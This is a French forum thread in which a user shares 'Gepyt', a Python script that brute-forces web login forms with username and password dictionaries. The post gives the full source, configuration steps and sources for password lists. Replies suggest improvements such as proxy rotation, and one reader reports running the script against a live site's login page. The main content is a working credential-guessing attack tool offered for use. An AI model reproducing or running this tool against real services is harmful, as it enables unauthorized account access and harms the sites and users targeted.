Annonce

Réduire
Aucune annonce.

Script Python Brute force avec dictionnaires (POST & GET)

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Script Python Brute force avec dictionnaires (POST & GET)

    Bonjour à tous !
    Je vais vous présenter un petit outil de brute force, made in Yarflam.
    Il est simple et flexible : on peut l'utiliser dans un formulaire HTML ou dans un script PHP à une entrée.

    INTRODUCTION HTML

    Impossible de comprendre le fonctionnement, si on ne possède pas une petite connaissance en HTML.
    Un tutoriel dessus s'impose !

    Qu'est-ce qu'un formulaire HTML ?

    Code:
    <!doctype html>
    <head>
     <title>FORMULAIRE</title>
    </head>
    <body>
     <center>
      <h3><b>CONNEXION</b></h3>
      <form action='connexion.php' method='post'>
        <table>
          <tr>
            <td>Pseudo: </td>
            <td><input type='text' name='pseudo' id='psd'></td>
          </tr><tr>
            <td>Mot de passe: </td>
            <td><input type='password' name='password'></td>
          </tr>
        </table>
      </form>
     </center>
    </body></html>


    Le code ci-dessus permet d'afficher un formulaire simple. Il faut savoir repérer les balises références pour pouvoir s'attaquer à un code source plus complexe: FORM et INPUT.

    J'ai coloré les parties importantes qui serviront pour la configuration de l'exploit.
    En rouge la page à attaquer, s'occupant de la vérification des identifiants.
    En vert le type d'attaque GET ou POST. Par défaut POST pour les formulaires.
    En orange le nom qui identifie la valeur 'Pseudo'.
    En bleu le nom qui identifie la valeur 'Mot de passe'.

    Note: il ne faut pas confondre avec l'ID de l'élément. id='psd'

    Par déduction, vous pouvez trouver le fonctionnement des syntaxes :
    INPUT : crée une zone d'entrée pour l'utilisateur. Deux types 'text' et 'password'.
    FORM : entoure la zone de saisie. Elle configure l'envoie de la requête.

    APPLICATION

    Utilisation de Firebug

    Un petit module complémentaire Firefox indispensable :
    Téléchargement de Firebug

    Pour Chrome, vous pouvez appuyer sur CTRL + Majuscule + J pour accéder à la console.

    Sur chacun des modèles, vous avez une icône de sélection utilisez là pour sélectionner la première zone de saisie 'Pseudo'.
    Cliquez ici pour voir le rendu

    A partir là, il faut savoir repérer les bons éléments. Chaussez vos lunettes techno à reconnaissance de caractères et go go go !!!

    Firebug vous sera d'une grande utilité pour ce genre d'exploit ! Facile à manier.

    UN OUTIL GÉNIAL : GEPYT !

    Vous avez assimilé les bases ?
    Plus qu'à télécharger mon outil en python et savoir le configurer.

    Code:
    #!/usr/bin/python
    """ +============================+
        |           Gepyt            |
        |            2.0             |
        |                            |
        |         BY YARFLAM         |
        |                            |
        |       Copyright 2012       |
        |          GNU/Linux         |
        |                            |
        | Python 2.7                 |
        +============================+ """
    
    import urllib
    import os
    import re
    
    class yarf_gepyt:
     def __init__(self):
       # INITIALISATION
       print "="*80+"\t"*4+" Gepyt 2.0\n\n"+"\t"*4+"By Yarflam\n"+"="*80+"\n\t$ Bienvenue !"
       print "\t$ Pour fonctionner Gepyt a besoin de 2 dictionnaires,"
       print "\t$ Et d'un fichier de configuration contenant 6 lignes :"
       print "\t[URL]"
       print "\t[Nom du formulaire 'pseudo']"
       print "\t[Nom du formulaire 'mot de passe']"
       print "\t[Dictionnaire 'pseudo' (chemin d'acces)]"
       print "\t[Dictionnaire 'mot de passe']"
       print "\t['post' ou 'get']\n"
       print "\t$ Entrez le nom du fichier de configuration (+ext)"
       while (not 'name' in locals()) or (not os.path.isfile(name)):
         name=str(raw_input('\t\t>> '))
       self.cfg=open(name,'r').read().split('\n')
       self.dic1=open(self.cfg[3]).read().split('\n')
       self.dic2=open(self.cfg[4]).read().split('\n')
       print "\t$ Chargement ..."
       self.arg="(mots? de passes?|connexion|identifiants?|pseudo|login|erreurs?)([^\n]+)(incorrecte?|connexion)?"
     def error(self):
       return 0 if (not re.search(self.arg,self.page)) else 1
     def http(self,form1,form2):
       # MODULE WEB
       params=urllib.urlencode({self.cfg[1]:form1, self.cfg[2]:form2})
       params=urllib.urlencode({self.cfg[1]:form1}) if self.cfg[2]=='.' else params
       params=urllib.urlencode({self.cfg[2]:form2}) if self.cfg[1]=='.' else params
       r=urllib.urlopen(self.cfg[0], params) if self.cfg[5]=='post' else urllib.urlopen(self.cfg[0]+"?%s" % params)
       r=r.read()
       if r.find("404 Not Found") >= 0:
         print "\n\t[ERREUR]"+"\n\t> "+self.cfg[0]+"\n\t$ La page n'est pas accessible !"
         raw_input()
         quit()
       else: return r
     def start(self):
       # BOUCLES
       self.i=0
       while self.i < len(self.dic1):
         self.j=0
         while self.j < len(self.dic2):
           self.page=self.http(self.dic1[self.i],self.dic2[self.j])
           if self.error() == 0:
             print "\n\t[RESULTAT]\n\tPseudo:\t\t"+self.dic1[self.i]+"\n\tMot de passe:\t"+self.dic2[self.j]
             raw_input()
             quit()
           self.j=self.j+1
         self.i=self.i+1
       print "\n\t[RESULTAT]\n\tAucun resultat."
       raw_input()
    
    exploit=yarf_gepyt()
    exploit.start()
    L'arborescence ressemble à ça :
    +Gepyt
    |
    |- Gepyt.py :: l'application principale
    |
    |- dic_pseudo.txt :: la liste des pseudos à tester
    |
    |- dic_mdp.txt :: le dictionnaire contenant les mots de passes
    |
    |- cfg.txt :: le fichier de configuration

    Le fichier de configuration

    On va préparer notre attaque en configurant le fichier en question 'cfg.txt'.
    Il doit contenir 6 lignes (pas une de plus, ni de moins).

    Code:
    http://127.0.0.1/Test/connexion.php
    pseudo
    passwd
    dic_pseudo.txt
    dic_mdp.txt
    post
    J'ai coloré les éléments en fonction du code source HTML.
    Facile de s'y retrouver.

    Ligne 1:
    On observe deux parties "http://127.0.0.1/Test/" et "connexion.php".
    La première se récupère dans la barre d'adresse.
    Vous êtes sur la page "http://127.0.0.1/Test/index.php", la racine est donc "http://127.0.0.1/Test/" et par dessus on rajoute le nom du fichier PHP.

    Lignes 2 et 3:
    Récupéré sur la page ce ne doit pas être très compliqué à comprendre.
    Note: vous pouvez désactiver une liste en écrivant un point à la place.

    Lignes 4 et 5:
    Ici, on indique le nom des dictionnaires.
    Que l'on retrouve dans l'arborescence.

    Ligne 6:
    Très simple. C'est soit 'post' (formulaire), soit 'get'.

    Un dictionnaire ?

    Oui en réalité vous n'avez besoin que d'un dictionnaire : les mots de passes.
    Les pseudos sont en fonction de votre objectif.

    Dans l'archive se trouve un fichier tout fait mais pas très complet, donc je conseille de télécharger le dictionnaire de Sakarov et de Vances1.

    Ou sur Brico-wifi.

    Lancement

    Tout est configuré ! Cool
    Lancez Gepyt.py et écrivez le nom du fichier de configuration 'cfg.txt'.
    Plus qu'à attendre patiemment la réponse ...

    Gepyt.jpg

    BUGS et maintenances

    Sachez qu'un bug peut arriver sur des messages d'erreurs non indexés.
    Mon application fonctionnant par test, si le message d'erreur n'apparaît pas c'est que les identifiants sont correctes.

    Or certain messages peuvent ne pas être référencés - pour résoudre ce problème j'ai du rajouter une REGEX. Ce n'est pas infaillible, donc si ce bug se produit j'aimerai en être informé pour partager un correctif. Il se déclenche au tout début : le résultat indique la première ligne de chaque dictionnaires.

    Pour toutes questions ou renseignements n'hésitez pas.
    Dernière modification par Yarflam, 03 mars 2013, 19h32.
    ~ Yarflam ~

    ❉ L'Univers se dirige vers son ultime perfection ❉

  • #2
    Merci, travail vraiment propre. good job

    Commentaire


    • #3
      You're welcome !
      ~ Yarflam ~

      ❉ L'Univers se dirige vers son ultime perfection ❉

      Commentaire


      • #4
        Je te remercie, c'est vraiment très instructif

        Commentaire


        • #5
          @Yarflam

          Très intéressant, moi qui m'y connait pas en web, ça ouvre un peu les yeux sur certaines choses.

          Quelques remarques
          1) Quand te décideras-tu (surtout que tu partages) de rendre ton code conventionnel (indentation de 4 espaces)?
          2) Ne pas ouvrir les fichiers avec open mais with open, on risque d'oublier close, c'est ton cas...
          3) raw_input renvoie une chaîne de caractères, donc le str est inutile
          4) Évite les print successifs, ça rend illisible le code, utilise print avec les triple quotes pour afficher sur plusieurs lignes
          5) Évite les nombres magiques du genre self.cfg[0], self.cfg[1], la lisibilité prime, exemple
          Code:
          pseudo, passwd, dic_1, dic_2, post = self.cfg
          Tu peux ensuite travailler avec des variables compréhensibles
          6) En fin de code tu utilises la boucle while, par pitié utilise la boucle for, bien plus simple, lisible et t'économisant des lignes.

          Bonne continuation...

          Commentaire


          • #6
            Il faudrait ajouter un gestion de proxy ^^

            Commentaire


            • #7
              Merci ! Ton idée est génial Pasterp.

              La version 3 de Gepyt comportera :

              * Indentation de 4 espaces (désolé @Fred, j'ai progressé depuis le 3 Mars)
              * Rectification des syntaxes -> compatibilité Python 3
              * Panel de gestion en HTML (socket).
              * Liste les proxys disponibles.
              ~ Yarflam ~

              ❉ L'Univers se dirige vers son ultime perfection ❉

              Commentaire


              • #8
                Aussi le post ou get peuvent se gérer plus facilement, car il n'y a que 2 solutions comme tu le dis très bien plus haut...

                Code:
                POST = True # ou False si get
                if POST:
                    # traitement
                else:
                    # traitement
                Autre proposition d'amélioration, une classe Error (pourquoi pas héritant de Exception) mériterait d'être créée, avec un dictionnaire représentant les codes erreurs (par exemple).

                Sinon personnellement, je trouve que le traitement du fichier de config avec les regex, c'est utiliser un marteau pour écraser une mouche, configparser semble beaucoup plus adapté.

                Commentaire


                • #9
                  1ère idée : Ça revient au même. Avec une ligne de plus.
                  2nd idée : Oui, je compte bien l'améliorer.
                  3ème idée : Tu n'as pas compris l'utilité des REGEX. Ce n'est pas pour parser le fichier de configuration mais pour tester la validité des identifiants. Entre "erreur de connexion", "login incorrect", "connexion failed !", il faut laisser de la marge -> sinon ça bug (voir BUG & Maintenance).

                  Merci.
                  ~ Yarflam ~

                  ❉ L'Univers se dirige vers son ultime perfection ❉

                  Commentaire


                  • #10
                    Pour les regex exact, j'ai pas bien compris ce que tu souhaitais faire.

                    configparser je maintiens pour parser ton fichier de config.

                    Pour ma 1ère idée, rendre du code simple en supprimant des lignes ok, mais rendre du code lisible en ajoutant des lignes, ok aussi

                    Commentaire


                    • #11
                      2 petites remarques :
                      - Certains sites utilisent des cookies pour l'utilisateur, si tu ne gère pas ces derniers la connexion ne fonctionnera pas...
                      - Il y a un moyen de lister les formulaires présents sur une page, cela pourrait simplifier (ou même rendre plus polyvalent) le programme.

                      Pour les import : ClientForm pour les formulaires et Cookielib pour les cookies...

                      Commentaire


                      • #12
                        Pour tester une connexion, les cookies servent à rien. C'est pour maintenir une session ouverte.
                        Par contre le hashage peut être utile. Et là, je ne sais pas du tout comment l'implémenter.
                        ~ Yarflam ~

                        ❉ L'Univers se dirige vers son ultime perfection ❉

                        Commentaire


                        • #13
                          Beau boulot :-) merci pour le partage, une raison de plus d'apprendre le python

                          Commentaire


                          • #14
                            Salut ! J'aimerais savoir si ce programme peut toujours marcher J'ai essayé de l'utiliser pour un site, mais l'action n'était pas un .php mais un /users/login, et le programme ne faisait qu'un chargement infini. Merci d'avance

                            Commentaire


                            • #15
                              Ah non excusez-moi, ça a marché au bout d'un très grand moment. Fin " marché ", ça n'a pas fonctionné car le programme m'a donné un mot de passe complétement bidon x)

                              Commentaire

                              Chargement...
                              X